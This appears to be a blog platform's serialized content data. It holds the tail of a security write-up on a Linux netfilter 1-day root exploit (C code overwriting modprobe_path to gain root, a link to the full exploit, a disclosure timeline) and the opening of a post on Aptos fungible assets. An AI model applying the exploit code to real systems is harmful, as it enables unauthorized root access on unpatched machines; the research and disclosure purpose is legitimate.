failed\");\n[...]\n",[73143],{"type":25,"tag":264,"props":73144,"children":73145},{"__ignoreMap":7},[73146,73153,73175,73183,73190,73198,73206,73214,73222,73229,73237,73244,73282,73293,73300,73307,73314,73341,73372,73379,73401,73414,73421,73479,73486,73514,73521,73528,73549,73556,73577,73588,73595,73602,73623,73630,73658,73671,73678,73685,73734,73741,73809,73816,73837,73857,73864,73871,73878,73898],{"type":25,"tag":271,"props":73147,"children":73148},{"class":13593,"line":13594},[73149],{"type":25,"tag":271,"props":73150,"children":73151},{"style":13625},[73152],{"type":30,"value":23442},{"type":25,"tag":271,"props":73154,"children":73155},{"class":13593,"line":11641},[73156,73161,73166,73171],{"type":25,"tag":271,"props":73157,"children":73158},{"style":13625},[73159],{"type":30,"value":73160},"    puts(\"[*] ",{"type":25,"tag":271,"props":73162,"children":73163},{"style":13609},[73164],{"type":30,"value":73165},"overwrite",{"type":25,"tag":271,"props":73167,"children":73168},{"style":13609},[73169],{"type":30,"value":73170}," modprobe_path",{"type":25,"tag":271,"props":73172,"children":73173},{"style":17388},[73174],{"type":30,"value":69407},{"type":25,"tag":271,"props":73176,"children":73177},{"class":13593,"line":14354},[73178],{"type":25,"tag":271,"props":73179,"children":73180},{"style":17388},[73181],{"type":30,"value":73182},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":25,"tag":271,"props":73184,"children":73185},{"class":13593,"line":14391},[73186],{"type":25,"tag":271,"props":73187,"children":73188},{"style":17388},[73189],{"type":30,"value":42299},{"type":25,"tag":271,"props":73191,"children":73192},{"class":13593,"line":14400},[73193],{"type":25,"tag":271,"props":73194,"children":73195},{"style":17388},[73196],{"type":30,"value":73197},"        pipebuf->page = modprobe_page;\n",{"type":25,"tag":271,"props":73199,"children":73200},{"class":13593,"line":16406},[73201],{"type":25,"tag":271,"props":73202,"children":73203},{"style":17388},[73204],{"type":30,"value":73205},"        pipebuf->offset = modprobe_off;\n",{"type":25,"tag":271,"props":73207,"children":73208},{"class":13593,"line":16434},[73209],{"type":25,"tag":271,"props":73210,"children":73211},{"style":17388},[73212],{"type":30,"value":73213},"        pipebuf->len = 0;\n",{"type":25,"tag":271,"props":73215,"children":73216},{"class":13593,"line":16447},[73217],{"type":25,"tag":271,"props":73218,"children":73219},{"style":17388},[73220],{"type":30,"value":73221},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":25,"tag":271,"props":73223,"children":73224},{"class":13593,"line":16465},[73225],{"type":25,"tag":271,"props":73226,"children":73227},{"style":17388},[73228],{"type":30,"value":44771},{"type":25,"tag":271,"props":73230,"children":73231},{"class":13593,"line":16486},[73232],{"type":25,"tag":271,"props":73233,"children":73234},{"style":17388},[73235],{"type":30,"value":73236},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":25,"tag":271,"props":73238,"children":73239},{"class":13593,"line":16495},[73240],{"type":25,"tag":271,"props":73241,"children":73242},{"style":17388},[73243],{"type":30,"value":44807},{"type":25,"tag":271,"props":73245,"children":73246},{"class":13593,"line":16744},[73247,73252,73256,73260,73264,73269,73273,73277],{"type":25,"tag":271,"props":73248,"children":73249},{"style":17388},[73250],{"type":30,"value":73251},"                perror(\"",{"type":25,"tag":271,"props":73253,"children":73254},{"style":13625},[73255],{"type":30,"value":5604},{"type":25,"tag":271,"props":73257,"children":73258},{"style":13603},[73259],{"type":30,"value":17459},{"type":25,"tag":271,"props":73261,"children":73262},{"style":13625},[73263],{"type":30,"value":21781},{"type":25,"tag":271,"props":73265,"children":73266},{"style":13609},[73267],{"type":30,"value":73268},"write",{"type":25,"tag":271,"props":73270,"children":73271},{"style":13625},[73272],{"type":30,"value":394},{"type":25,"tag":271,"props":73274,"children":73275},{"style":13609},[73276],{"type":30,"value":55050},{"type":25,"tag":271,"props":73278,"children":73279},{"style":13625},[73280],{"type":30,"value":73281},")\");\n",{"type":25,"tag":271,"props":73283,"children":73284},{"class":13593,"line":16761},[73285,73289],{"type":25,"tag":271,"props":73286,"children":73287},{"style":16171},[73288],{"type":30,"value":72075},{"type":25,"tag":271,"props":73290,"children":73291},{"style":13625},[73292],{"type":30,"value":16165},{"type":25,"tag":271,"props":73294,"children":73295},{"class":13593,"line":16778},[73296],{"type":25,"tag":271,"props":73297,"children":73298},{"style":13625},[73299],{"type":30,"value":72000},{"type":25,"tag":271,"props":73301,"children":73302},{"class":13593,"line":16791},[73303],{"type":25,"tag":271,"props":73304,"children":73305},{"style":13625},[73306],{"type":30,"value":16492},{"type":25,"tag":271,"props":73308,"children":73309},{"class":13593,"line":16800},[73310],{"type":25,"tag":271,"props":73311,"children":73312},{"emptyLinePlaceholder":18},[73313],{"type":30,"value":16829},{"type":25,"tag":271,"props":73315,"children":73316},{"class":13593,"line":16823},[73317,73321,73325,73329,73333,73337],{"type":25,"tag":271,"props":73318,"children":73319},{"style":13620},[73320],{"type":30,"value":67733},{"type":25,"tag":271,"props":73322,"children":73323},{"style":13625},[73324],{"type":30,"value":394},{"type":25,"tag":271,"props":73326,"children":73327},{"style":13603},[73328],{"type":30,"value":13632},{"type":25,"tag":271,"props":73330,"children":73331},{"style":13625},[73332],{"type":30,"value":71886},{"type":25,"tag":271,"props":73334,"children":73335},{"style":16187},[73336],{"type":30,"value":953},{"type":25,"tag":271,"props":73338,"children":73339},{"style":13625},[73340],{"type":30,"value":71895},{"type":25,"tag":271,"props":73342,"children":73343},{"class":13593,"line":16832},[73344,73348,73353,73357,73362,73367],{"type":25,"tag":271,"props":73345,"children":73346},{"style":13620},[73347],{"type":30,"value":68434},{"type":25,"tag":271,"props":73349,"children":73350},{"style":13625},[73351],{"type":30,"value":73352},"(fd_path, ",{"type":25,"tag":271,"props":73354,"children":73355},{"style":14289},[73356],{"type":30,"value":68444},{"type":25,"tag":271,"props":73358,"children":73359},{"style":13625},[73360],{"type":30,"value":73361},"(fd_path), ",{"type":25,"tag":271,"props":73363,"children":73364},{"style":17388},[73365],{"type":30,"value":73366},"\"/proc/%i/fd/%i\"",{"type":25,"tag":271,"props":73368,"children":73369},{"style":13625},[73370],{"type":30,"value":73371},", i, modprobe_fd);\n",{"type":25,"tag":271,"props":73373,"children":73374},{"class":13593,"line":16841},[73375],{"type":25,"tag":271,"props":73376,"children":73377},{"emptyLinePlaceholder":18},[73378],{"type":30,"value":16829},{"type":25,"tag":271,"props":73380,"children":73381},{"class":13593,"line":16907},[73382,73387,73392,73396],{"type":25,"tag":271,"props":73383,"children":73384},{"style":13620},[73385],{"type":30,"value":73386},"        lseek",{"type":25,"tag":271,"props":73388,"children":73389},{"style":13625},[73390],{"type":30,"value":73391},"(modprobe_fd, ",{"type":25,"tag":271,"props":73393,"children":73394},{"style":16187},[73395],{"type":30,"value":953},{"type":25,"tag":271,"props":73397,"children":73398},{"style":13625},[73399],{"type":30,"value":73400},", SEEK_SET);\n",{"type":25,"tag":271,"props":73402,"children":73403},{"class":13593,"line":16915},[73404,73409],{"type":25,"tag":271,"props":73405,"children":73406},{"style":13620},[73407],{"type":30,"value":73408},"        dprintf",{"type":25,"tag":271,"props":73410,"children":73411},{"style":13625},[73412],{"type":30,"value":73413},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":25,"tag":271,"props":73415,"children":73416},{"class":13593,"line":16945},[73417],{"type":25,"tag":271,"props":73418,"children":73419},{"emptyLinePlaceholder":18},[73420],{"type":30,"value":16829},{"type":25,"tag":271,"props":73422,"children":73423},{"class":13593,"line":16953},[73424,73428,73432,73436,73440,73444,73449,73453,73458,73463,73467,73471,73475],{"type":25,"tag":271,"props":73425,"children":73426},{"style":16171},[73427],{"type":30,"value":16412},{"type":25,"tag":271,"props":73429,"children":73430},{"style":13625},[73431],{"type":30,"value":16213},{"type":25,"tag":271,"props":73433,"children":73434},{"style":13620},[73435],{"type":30,"value":73268},{"type":25,"tag":271,"props":73437,"children":73438},{"style":13625},[73439],{"type":30,"value":394},{"type":25,"tag":271,"props":73441,"children":73442},{"style":13598},[73443],{"type":30,"value":71939},{"type":25,"tag":271,"props":73445,"children":73446},{"style":13625},[73447],{"type":30,"value":73448},"[pipe_idx][",{"type":25,"tag":271,"props":73450,"children":73451},{"style":16187},[73452],{"type":30,"value":968},{"type":25,"tag":271,"props":73454,"children":73455},{"style":13625},[73456],{"type":30,"value":73457},"], fd_path, ",{"type":25,"tag":271,"props":73459,"children":73460},{"style":16187},[73461],{"type":30,"value":73462},"32",{"type":25,"tag":271,"props":73464,"children":73465},{"style":13625},[73466],{"type":30,"value":14406},{"type":25,"tag":271,"props":73468,"children":73469},{"style":13603},[73470],{"type":30,"value":14307},{"type":25,"tag":271,"props":73472,"children":73473},{"style":16187},[73474],{"type":30,"value":16190},{"type":25,"tag":271,"props":73476,"children":73477},{"style":13625},[73478],{"type":30,"value":16299},{"type":25,"tag":271,"props":73480,"children":73481},{"class":13593,"line":16984},[73482],{"type":25,"tag":271,"props":73483,"children":73484},{"style":13625},[73485],{"type":30,"value":44771},{"type":25,"tag":271,"props":73487,"children":73488},{"class":13593,"line":16992},[73489,73493,73497,73501,73505,73510],{"type":25,"tag":271,"props":73490,"children":73491},{"style":13620},[73492],{"type":30,"value":71012},{"type":25,"tag":271,"props":73494,"children":73495},{"style":13625},[73496],{"type":30,"value":394},{"type":25,"tag":271,"props":73498,"children":73499},{"style":17388},[73500],{"type":30,"value":6294},{"type":25,"tag":271,"props":73502,"children":73503},{"style":61489},[73504],{"type":30,"value":61492},{"type":25,"tag":271,"props":73506,"children":73507},{"style":17388},[73508],{"type":30,"value":73509},"[-] write(pipe)\"",{"type":25,"tag":271,"props":73511,"children":73512},{"style":13625},[73513],{"type":30,"value":13665},{"type":25,"tag":271,"props":73515,"children":73516},{"class":13593,"line":17052},[73517],{"type":25,"tag":271,"props":73518,"children":73519},{"style":13625},[73520],{"type":30,"value":16492},{"type":25,"tag":271,"props":73522,"children":73523},{"class":13593,"line":22168},[73524],{"type":25,"tag":271,"props":73525,"children":73526},{"emptyLinePlaceholder":18},[73527],{"type":30,"value":16829},{"type":25,"tag":271,"props":73529,"children":73530},{"class":13593,"line":22186},[73531,73535,73539,73544],{"type":25,"tag":271,"props":73532,"children":73533},{"style":16171},[73534],{"type":30,"value":16412},{"type":25,"tag":271,"props":73536,"children":73537},{"style":13625},[73538],{"type":30,"value":16213},{"type":25,"tag":271,"props":73540,"children":73541},{"style":13620},[73542],{"type":30,"value":73543},"check_modprobe",{"type":25,"tag":271,"props":73545,"children":73546},{"style":13625},[73547],{"type":30,"value":73548},"(fd_path))\n",{"type":25,"tag":271,"props":73550,"children":73551},{"class":13593,"line":22231},[73552],{"type":25,"tag":271,"props":73553,"children":73554},{"style":13625},[73555],{"type":30,"value":44771},{"type":25,"tag":271,"props":73557,"children":73558},{"class":13593,"line":22337},[73559,73564,73568,73573],{"type":25,"tag":271,"props":73560,"children":73561},{"style":13620},[73562],{"type":30,"value":73563},"            puts",{"type":25,"tag":271,"props":73565,"children":73566},{"style":13625},[73567],{"type":30,"value":394},{"type":25,"tag":271,"props":73569,"children":73570},{"style":17388},[73571],{"type":30,"value":73572},"\"[-] failed to overwrite modprobe\"",{"type":25,"tag":271,"props":73574,"children":73575},{"style":13625},[73576],{"type":30,"value":13665},{"type":25,"tag":271,"props":73578,"children":73579},{"class":13593,"line":36608},[73580,73584],{"type":25,"tag":271,"props":73581,"children":73582},{"style":16171},[73583],{"type":30,"value":16440},{"type":25,"tag":271,"props":73585,"children":73586},{"style":13625},[73587],{"type":30,"value":16165},{"type":25,"tag":271,"props":73589,"children":73590},{"class":13593,"line":36643},[73591],{"type":25,"tag":271,"props":73592,"children":73593},{"style":13625},[73594],{"type":30,"value":16492},{"type":25,"tag":271,"props":73596,"children":73597},{"class":13593,"line":36651},[73598],{"type":25,"tag":271,"props":73599,"children":73600},{"emptyLinePlaceholder":18},[73601],{"type":30,"value":16829},{"type":25,"tag":271,"props":73603,"children":73604},{"class":13593,"line":36659},[73605,73609,73613,73618],{"type":25,"tag":271,"props":73606,"children":73607},{"style":16171},[73608],{"type":30,"value":16412},{"type":25,"tag":271,"props":73610,"children":73611},{"style":13625},[73612],{"type":30,"value":16213},{"type":25,"tag":271,"props":73614,"children":73615},{"style":13620},[73616],{"type":30,"value":73617},"trigger_modprobe",{"type":25,"tag":271,"props":73619,"children":73620},{"style":13625},[73621],{"type":30,"value":73622},"(status_fd))\n",{"type":25,"tag":271,"props":73624,"children":73625},{"class":13593,"line":36668},[73626],{"type":25,"tag":271,"props":73627,"children":73628},{"style":13625},[73629],{"type":30,"value":44771},{"type":25,"tag":271,"props":73631,"children":73632},{"class":13593,"line":36710},[73633,73637,73641,73645,73649,73654],{"type":25,"tag":271,"props":73634,"children":73635},{"style":13620},[73636],{"type":30,"value":73563},{"type":25,"tag":271,"props":73638,"children":73639},{"style":13625},[73640],{"type":30,"value":394},{"type":25,"tag":271,"props":73642,"children":73643},{"style":17388},[73644],{"type":30,"value":6294},{"type":25,"tag":271,"props":73646,"children":73647},{"style":61489},[73648],{"type":30,"value":61492},{"type":25,"tag":271,"props":73650,"children":73651},{"style":17388},[73652],{"type":30,"value":73653},"[+] got root\"",{"type":25,"tag":271,"props":73655,"children":73656},{"style":13625},[73657],{"type":30,"value":13665},{"type":25,"tag":271,"props":73659,"children":73660},{"class":13593,"line":36743},[73661,73666],{"type":25,"tag":271,"props":73662,"children":73663},{"style":16171},[73664],{"type":30,"value":73665},"            goto",{"type":25,"tag":271,"props":73667,"children":73668},{"style":13625},[73669],{"type":30,"value":73670}," out;\n",{"type":25,"tag":271,"props":73672,"children":73673},{"class":13593,"line":36751},[73674],{"type":25,"tag":271,"props":73675,"children":73676},{"style":13625},[73677],{"type":30,"value":16492},{"type":25,"tag":271,"props":73679,"children":73680},{"class":13593,"line":36759},[73681],{"type":25,"tag":271,"props":73682,"children":73683},{"emptyLinePlaceholder":18},[73684],{"type":30,"value":16829},{"type":25,"tag":271,"props":73686,"children":73687},{"class":13593,"line":36768},[73688,73693,73697,73701,73705,73709,73713,73717,73721,73726,73730],{"type":25,"tag":271,"props":73689,"children":73690},{"style":16171},[73691],{"type":30,"value":73692},"        for",{"type":25,"tag":271,"props":73694,"children":73695},{"style":13625},[73696],{"type":30,"value":16213},{"type":25,"tag":271,"props":73698,"children":73699},{"style":14289},[73700],{"type":30,"value":32168},{"type":25,"tag":271,"props":73702,"children":73703},{"style":13625},[73704],{"type":30,"value":67660},{"type":25,"tag":271,"props":73706,"children":73707},{"style":13603},[73708],{"type":30,"value":1065},{"type":25,"tag":271,"props":73710,"children":73711},{"style":16187},[73712],{"type":30,"value":16190},{"type":25,"tag":271,"props":73714,"children":73715},{"style":13625},[73716],{"type":30,"value":64349},{"type":25,"tag":271,"props":73718,"children":73719},{"style":13603},[73720],{"type":30,"value":14307},{"type":25,"tag":271,"props":73722,"children":73723},{"style":13625},[73724],{"type":30,"value":73725}," SKBUF_SPRAY; i",{"type":25,"tag":271,"props":73727,"children":73728},{"style":13603},[73729],{"type":30,"value":64385},{"type":25,"tag":271,"props":73731,"children":73732},{"style":13625},[73733],{"type":30,"value":16299},{"type":25,"tag":271,"props":73735,"children":73736},{"class":13593,"line":36844},[73737],{"type":25,"tag":271,"props":73738,"children":73739},{"style":13625},[73740],{"type":30,"value":44771},{"type":25,"tag":271,"props":73742,"children":73743},{"class":13593,"line":36877},[73744,73748,73752,73757,73761,73766,73771,73775,73780,73784,73788,73793,73797,73801,73805],{"type":25,"tag":271,"props":73745,"children":73746},{"style":16171},[73747],{"type":30,"value":71916},{"type":25,"tag":271,"props":73749,"children":73750},{"style":13625},[73751],{"type":30,"value":16213},{"type":25,"tag":271,"props":73753,"children":73754},{"style":13620},[73755],{"type":30,"value":73756},"read",{"type":25,"tag":271,"props":73758,"children":73759},{"style":13625},[73760],{"type":30,"value":394},{"type":25,"tag":271,"props":73762,"children":73763},{"style":13598},[73764],{"type":30,"value":73765},"sock",{"type":25,"tag":271,"props":73767,"children":73768},{"style":13625},[73769],{"type":30,"value":73770},"[i][",{"type":25,"tag":271,"props":73772,"children":73773},{"style":16187},[73774],{"type":30,"value":968},{"type":25,"tag":271,"props":73776,"children":73777},{"style":13625},[73778],{"type":30,"value":73779},"], leak, ",{"type":25,"tag":271,"props":73781,"children":73782},{"style":16187},[73783],{"type":30,"value":71263},{"type":25,"tag":271,"props":73785,"children":73786},{"style":13603},[73787],{"type":30,"value":64371},{"type":25,"tag":271,"props":73789,"children":73790},{"style":16187},[73791],{"type":30,"value":73792}," 320",{"type":25,"tag":271,"props":73794,"children":73795},{"style":13625},[73796],{"type":30,"value":14406},{"type":25,"tag":271,"props":73798,"children":73799},{"style":13603},[73800],{"type":30,"value":14307},{"type":25,"tag":271,"props":73802,"children":73803},{"style":16187},[73804],{"type":30,"value":16190},{"type":25,"tag":271,"props":73806,"children":73807},{"style":13625},[73808],{"type":30,"value":16299},{"type":25,"tag":271,"props":73810,"children":73811},{"class":13593,"line":36885},[73812],{"type":25,"tag":271,"props":73813,"children":73814},{"style":13625},[73815],{"type":30,"value":44807},{"type":25,"tag":271,"props":73817,"children":73818},{"class":13593,"line":36893},[73819,73824,73828,73833],{"type":25,"tag":271,"props":73820,"children":73821},{"style":13620},[73822],{"type":30,"value":73823},"                perror",{"type":25,"tag":271,"props":73825,"children":73826},{"style":13625},[73827],{"type":30,"value":394},{"type":25,"tag":271,"props":73829,"children":73830},{"style":17388},[73831],{"type":30,"value":73832},"\"[-] read(socket)\"",{"type":25,"tag":271,"props":73834,"children":73835},{"style":13625},[73836],{"type":30,"value":13665},{"type":25,"tag":271,"props":73838,"children":73839},{"class":13593,"line":36930},[73840,73845,73849,73853],{"type":25,"tag":271,"props":73841,"children":73842},{"style":16171},[73843],{"type":30,"value":73844},"                return",{"type":25,"tag":271,"props":73846,"children":73847},{"style":13603},[73848],{"type":30,"value":64371},{"type":25,"tag":271,"props":73850,"children":73851},{"style":16187},[73852],{"type":30,"value":968},{"type":25,"tag":271,"props":73854,"children":73855},{"style":13625},[73856],{"type":30,"value":16165},{"type":25,"tag":271,"props":73858,"children":73859},{"class":13593,"line":36943},[73860],{"type":25,"tag":271,"props":73861,"children":73862},{"style":13625},[73863],{"type":30,"value":72000},{"type":25,"tag":271,"props":73865,"children":73866},{"class":13593,"line":36956},[73867],{"type":25,"tag":271,"props":73868,"children":73869},{"style":13625},[73870],{"type":30,"value":16492},{"type":25,"tag":271,"props":73872,"children":73873},{"class":13593,"line":36969},[73874],{"type":25,"tag":271,"props":73875,"children":73876},{"style":13625},[73877],{"type":30,"value":16501},{"type":25,"tag":271,"props":73879,"children":73880},{"class":13593,"line":37023},[73881,73885,73889,73894],{"type":25,"tag":271,"props":73882,"children":73883},{"style":13620},[73884],{"type":30,"value":68623},{"type":25,"tag":271,"props":73886,"children":73887},{"style":13625},[73888],{"type":30,"value":394},{"type":25,"tag":271,"props":73890,"children":73891},{"style":17388},[73892],{"type":30,"value":73893},"\"[-] fake modprobe failed\"",{"type":25,"tag":271,"props":73895,"children":73896},{"style":13625},[73897],{"type":30,"value":13665},{"type":25,"tag":271,"props":73899,"children":73900},{"class":13593,"line":37032},[73901],{"type":25,"tag":271,"props":73902,"children":73903},{"style":13625},[73904],{"type":30,"value":23442},{"type":25,"tag":26,"props":73906,"children":73907},{},[73908,73910,73917],{"type":30,"value":73909},"This trick has already been throughly detailed by ",{"type":25,"tag":83,"props":73911,"children":73914},{"href":73912,"rel":73913},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[9066],[73915],{"type":30,"value":73916},"lau",{"type":30,"value":73918},", so we won't go much more into it.",{"type":25,"tag":247,"props":73920,"children":73922},{"id":73921},"universal-exploit-demo",[73923],{"type":30,"value":73924},"Universal exploit demo",{"type":25,"tag":26,"props":73926,"children":73927},{},[73928,73930,73936],{"type":30,"value":73929},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":25,"tag":83,"props":73931,"children":73934},{"href":73932,"rel":73933},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[9066],[73935],{"type":30,"value":70530},{"type":30,"value":1860},{"type":25,"tag":96,"props":73938,"children":73940},{"id":73939},"disclosure-timeline",[73941],{"type":30,"value":73942},"Disclosure Timeline",{"type":25,"tag":108,"props":73944,"children":73945},{},[73946,73951,73956,73961,73966],{"type":25,"tag":112,"props":73947,"children":73948},{},[73949],{"type":30,"value":73950},"March 21st -- Patch made public",{"type":25,"tag":112,"props":73952,"children":73953},{},[73954],{"type":30,"value":73955},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":25,"tag":112,"props":73957,"children":73958},{},[73959],{"type":30,"value":73960},"March 24th -- Wrote KernelCTF exploit",{"type":25,"tag":112,"props":73962,"children":73963},{},[73964],{"type":30,"value":73965},"March 26th -- Wrote Universal exploit",{"type":25,"tag":112,"props":73967,"children":73968},{},[73969],{"type":30,"value":73970},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":25,"tag":26,"props":73972,"children":73973},{},[73974],{"type":30,"value":73975},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":25,"tag":96,"props":73977,"children":73978},{"id":42044},[73979],{"type":30,"value":32068},{"type":25,"tag":26,"props":73981,"children":73982},{},[73983],{"type":30,"value":73984},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":25,"tag":26,"props":73986,"children":73987},{},[73988],{"type":30,"value":73989},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":25,"tag":15963,"props":73991,"children":73992},{},[73993],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":73995},[73996,73999,74002,74005,74006,74016,74024,74025],{"id":63683,"depth":11641,"text":63686,"children":73997},[73998],{"id":63704,"depth":14354,"text":63707},{"id":63747,"depth":11641,"text":63747,"children":74000},[74001],{"id":63794,"depth":14354,"text":63797},{"id":63852,"depth":11641,"text":63855,"children":74003},[74004],{"id":65015,"depth":14354,"text":65018},{"id":66890,"depth":11641,"text":66893},{"id":67292,"depth":11641,"text":67295,"children":74007},[74008,74009,74010,74012,74013,74014,74015],{"id":67319,"depth":14354,"text":67322},{"id":68201,"depth":14354,"text":68204},{"id":68787,"depth":14354,"text":74011},"Leaking self pointer of nft_object",{"id":69184,"depth":14354,"text":69187},{"id":69697,"depth":14354,"text":69700},{"id":69827,"depth":14354,"text":69485},{"id":70511,"depth":14354,"text":70514},{"id":70534,"depth":11641,"text":70537,"children":74017},[74018,74019,74020,74021,74023],{"id":70545,"depth":14354,"text":70548},{"id":71403,"depth":14354,"text":71406},{"id":71479,"depth":14354,"text":71482},{"id":73104,"depth":14354,"text":74022},"Overwriting modprobe_path",{"id":73921,"depth":14354,"text":73924},{"id":73939,"depth":11641,"text":73942},{"id":42044,"depth":11641,"text":32068},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":74030,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":74031,"description":74032,"image":74033,"date":74035,"isFeatured":18,"onBlogPage":18,"tags":74036,"body":74037,"_type":16004,"_id":80753,"_source":16006,"_file":80754,"_stem":80755,"_extension":16009},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":74034,"width":18516,"height":18517},"/posts/aptos-guide/title.png","2025-02-10",[19011],{"type":22,"children":74038,"toc":80737},[74039,74052,74057,74066,74072,74100,74173,74213,74247,74408,74427,74508,74548,74576,74593,74598,74606,74611,74617,74638,74718,74751,74759,74772,74777,75159,75164,75169,75175,75180,75192,75296,75334,75337,75355,75663,75668,75680,75686,75712,75733,75738,75917,75937,75943,75963,75975,75980,75986,75998,76061,76088,76112,76333,76336,76355,76465,76522,76658,76685,76691,76717,76961,76989,77291,77324,77338,77364,77397,77704,77716,77993,78007,78324,78343,78349,78381,78421,78522,78542,78662,78679,78753,78765,78853,78874,78880,78885,78890,78907,78928,79299,79358,79363,79814,79819,79855,79861,79873,79895,79921,80128,80142,80397,80409,80436,80587,80606,80636,80640,80651,80656,80669,80733],{"type":25,"tag":26,"props":74040,"children":74041},{},[74042,74044,74050],{"type":30,"value":74043},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":25,"tag":264,"props":74045,"children":74047},{"className":74046},[],[74048],{"type":30,"value":74049},"coin",{"type":30,"value":74051}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":25,"tag":26,"props":74053,"children":74054},{},[74055],{"type":30,"value":74056},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":25,"tag":74058,"props":74059,"children":74060},"important",{},[74061],{"type":25,"tag":26,"props":74062,"children":74063},{},[74064],{"type":30,"value":74065},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":25,"tag":96,"props":74067,"children":74069},{"id":74068},"aptos-coin-standard",[74070],{"type":30,"value":74071},"Aptos Coin standard",{"type":25,"tag":26,"props":74073,"children":74074},{},[74075,74077,74083,74085,74090,74091,74098],{"type":30,"value":74076},"In the beginning, Aptos used ",{"type":25,"tag":264,"props":74078,"children":74080},{"className":74079},[],[74081],{"type":30,"value":74082},"Coin",{"type":30,"value":74084},". It is still in use, although it is now considered \"legacy\". ",{"type":25,"tag":264,"props":74086,"children":74088},{"className":74087},[],[74089],{"type":30,"value":74082},{"type":30,"value":18632},{"type":25,"tag":83,"props":74092,"children":74095},{"href":74093,"rel":74094},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[9066],[74096],{"type":30,"value":74097},"defined",{"type":30,"value":74099}," in Aptos as follows:",{"type":25,"tag":7764,"props":74101,"children":74103},{"className":13586,"code":74102,"language":13585,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[74104],{"type":25,"tag":264,"props":74105,"children":74106},{"__ignoreMap":7},[74107,74146,74166],{"type":25,"tag":271,"props":74108,"children":74109},{"class":13593,"line":13594},[74110,74114,74118,74122,74126,74130,74134,74138,74142],{"type":25,"tag":271,"props":74111,"children":74112},{"style":14289},[74113],{"type":30,"value":22524},{"type":25,"tag":271,"props":74115,"children":74116},{"style":13609},[74117],{"type":30,"value":18933},{"type":25,"tag":271,"props":74119,"children":74120},{"style":13625},[74121],{"type":30,"value":14307},{"type":25,"tag":271,"props":74123,"children":74124},{"style":13598},[74125],{"type":30,"value":18942},{"type":25,"tag":271,"props":74127,"children":74128},{"style":13609},[74129],{"type":30,"value":18947},{"type":25,"tag":271,"props":74131,"children":74132},{"style":13625},[74133],{"type":30,"value":18952},{"type":25,"tag":271,"props":74135,"children":74136},{"style":13598},[74137],{"type":30,"value":18957},{"type":25,"tag":271,"props":74139,"children":74140},{"style":13598},[74141],{"type":30,"value":18962},{"type":25,"tag":271,"props":74143,"children":74144},{"style":13625},[74145],{"type":30,"value":16431},{"type":25,"tag":271,"props":74147,"children":74148},{"class":13593,"line":11641},[74149,74154,74158,74162],{"type":25,"tag":271,"props":74150,"children":74151},{"style":13598},[74152],{"type":30,"value":74153},"    value",{"type":25,"tag":271,"props":74155,"children":74156},{"style":13603},[74157],{"type":30,"value":359},{"type":25,"tag":271,"props":74159,"children":74160},{"style":13609},[74161],{"type":30,"value":18991},{"type":25,"tag":271,"props":74163,"children":74164},{"style":13625},[74165],{"type":30,"value":14351},{"type":25,"tag":271,"props":74167,"children":74168},{"class":13593,"line":14354},[74169],{"type":25,"tag":271,"props":74170,"children":74171},{"style":13625},[74172],{"type":30,"value":17058},{"type":25,"tag":26,"props":74174,"children":74175},{},[74176,74178,74183,74185,74191,74192,74198,74200,74205,74207,74212],{"type":30,"value":74177},"Aptos distinguishes coins by their type (",{"type":25,"tag":264,"props":74179,"children":74181},{"className":74180},[],[74182],{"type":30,"value":19709},{"type":30,"value":74184},") at compile time. For example, ",{"type":25,"tag":264,"props":74186,"children":74188},{"className":74187},[],[74189],{"type":30,"value":74190},"Coin\u003COtter>",{"type":30,"value":12218},{"type":25,"tag":264,"props":74193,"children":74195},{"className":74194},[],[74196],{"type":30,"value":74197},"Coin\u003CWeasel>",{"type":30,"value":74199}," represent different coins, and you cannot pass a ",{"type":25,"tag":264,"props":74201,"children":74203},{"className":74202},[],[74204],{"type":30,"value":74197},{"type":30,"value":74206}," to a function expecting ",{"type":25,"tag":264,"props":74208,"children":74210},{"className":74209},[],[74211],{"type":30,"value":74190},{"type":30,"value":1860},{"type":25,"tag":26,"props":74214,"children":74215},{},[74216,74218,74223,74225,74230,74232,74237,74239,74245],{"type":30,"value":74217},"The type signature reveals why ",{"type":25,"tag":264,"props":74219,"children":74221},{"className":74220},[],[74222],{"type":30,"value":74082},{"type":30,"value":74224}," has become a legacy standard. 